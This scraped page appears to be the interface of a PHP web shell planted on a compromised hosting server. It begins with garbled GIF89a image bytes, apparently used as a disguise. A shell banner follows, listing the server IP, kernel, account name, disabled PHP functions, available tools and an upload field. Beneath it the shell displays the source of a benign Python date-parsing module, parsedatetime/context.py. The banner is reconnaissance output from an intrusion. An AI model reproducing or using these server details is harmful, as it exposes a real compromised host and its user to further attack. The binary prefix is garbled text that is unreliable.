GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.224.51.49 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib/python2.7/site-packages/parsedatetime/ |
Upload File : |
# -*- coding: utf-8 -*- """ parsedatetime/context.py Context related classes """ from threading import local class pdtContextStack(object): """ A thread-safe stack to store context(s) Internally used by L{Calendar} object """ def __init__(self): self.__local = local() @property def __stack(self): if not hasattr(self.__local, 'stack'): self.__local.stack = [] return self.__local.stack def push(self, ctx): self.__stack.append(ctx) def pop(self): try: return self.__stack.pop() except IndexError: return None def last(self): try: return self.__stack[-1] except IndexError: raise RuntimeError('context stack is empty') def isEmpty(self): return not self.__stack class pdtContext(object): """ Context contains accuracy flag detected by L{Calendar.parse()} Accuracy flag uses bitwise-OR operation and is combined by: ACU_YEAR - "next year", "2014" ACU_MONTH - "March", "July 2014" ACU_WEEK - "last week", "next 3 weeks" ACU_DAY - "tomorrow", "July 4th 2014" ACU_HALFDAY - "morning", "tonight" ACU_HOUR - "18:00", "next hour" ACU_MIN - "18:32", "next 10 minutes" ACU_SEC - "18:32:55" ACU_NOW - "now" """ __slots__ = ('accuracy',) ACU_YEAR = 2 ** 0 ACU_MONTH = 2 ** 1 ACU_WEEK = 2 ** 2 ACU_DAY = 2 ** 3 ACU_HALFDAY = 2 ** 4 ACU_HOUR = 2 ** 5 ACU_MIN = 2 ** 6 ACU_SEC = 2 ** 7 ACU_NOW = 2 ** 8 ACU_DATE = ACU_YEAR | ACU_MONTH | ACU_WEEK | ACU_DAY ACU_TIME = ACU_HALFDAY | ACU_HOUR | ACU_MIN | ACU_SEC | ACU_NOW _ACCURACY_MAPPING = [ (ACU_YEAR, 'year'), (ACU_MONTH, 'month'), (ACU_WEEK, 'week'), (ACU_DAY, 'day'), (ACU_HALFDAY, 'halfday'), (ACU_HOUR, 'hour'), (ACU_MIN, 'min'), (ACU_SEC, 'sec'), (ACU_NOW, 'now')] _ACCURACY_REVERSE_MAPPING = { 'year': ACU_YEAR, 'years': ACU_YEAR, 'month': ACU_MONTH, 'months': ACU_MONTH, 'week': ACU_WEEK, 'weeks': ACU_WEEK, 'day': ACU_DAY, 'days': ACU_DAY, 'halfday': ACU_HALFDAY, 'morning': ACU_HALFDAY, 'afternoon': ACU_HALFDAY, 'evening': ACU_HALFDAY, 'night': ACU_HALFDAY, 'tonight': ACU_HALFDAY, 'midnight': ACU_HALFDAY, 'hour': ACU_HOUR, 'hours': ACU_HOUR, 'min': ACU_MIN, 'minute': ACU_MIN, 'mins': ACU_MIN, 'minutes': ACU_MIN, 'sec': ACU_SEC, 'second': ACU_SEC, 'secs': ACU_SEC, 'seconds': ACU_SEC, 'now': ACU_NOW} def __init__(self, accuracy=0): """ Default constructor of L{pdtContext} class. @type accuracy: integer @param accuracy: Accuracy flag @rtype: object @return: L{pdtContext} instance """ self.accuracy = accuracy def updateAccuracy(self, *accuracy): """ Updates current accuracy flag """ for acc in accuracy: if not isinstance(acc, int): acc = self._ACCURACY_REVERSE_MAPPING[acc] self.accuracy |= acc def update(self, context): """ Uses another L{pdtContext} instance to update current one """ self.updateAccuracy(context.accuracy) @property def hasDate(self): """ Returns True if current context is accurate to date """ return bool(self.accuracy & self.ACU_DATE) @property def hasTime(self): """ Returns True if current context is accurate to time """ return bool(self.accuracy & self.ACU_TIME) @property def dateTimeFlag(self): """ Returns the old date/time flag code """ return int(self.hasDate and 1) | int(self.hasTime and 2) @property def hasDateOrTime(self): """ Returns True if current context is accurate to date/time """ return bool(self.accuracy) def __repr__(self): accuracy_repr = [] for acc, name in self._ACCURACY_MAPPING: if acc & self.accuracy: accuracy_repr.append('pdtContext.ACU_%s' % name.upper()) if accuracy_repr: accuracy_repr = 'accuracy=' + ' | '.join(accuracy_repr) else: accuracy_repr = '' return 'pdtContext(%s)' % accuracy_repr def __eq__(self, ctx): return self.accuracy == ctx.accuracy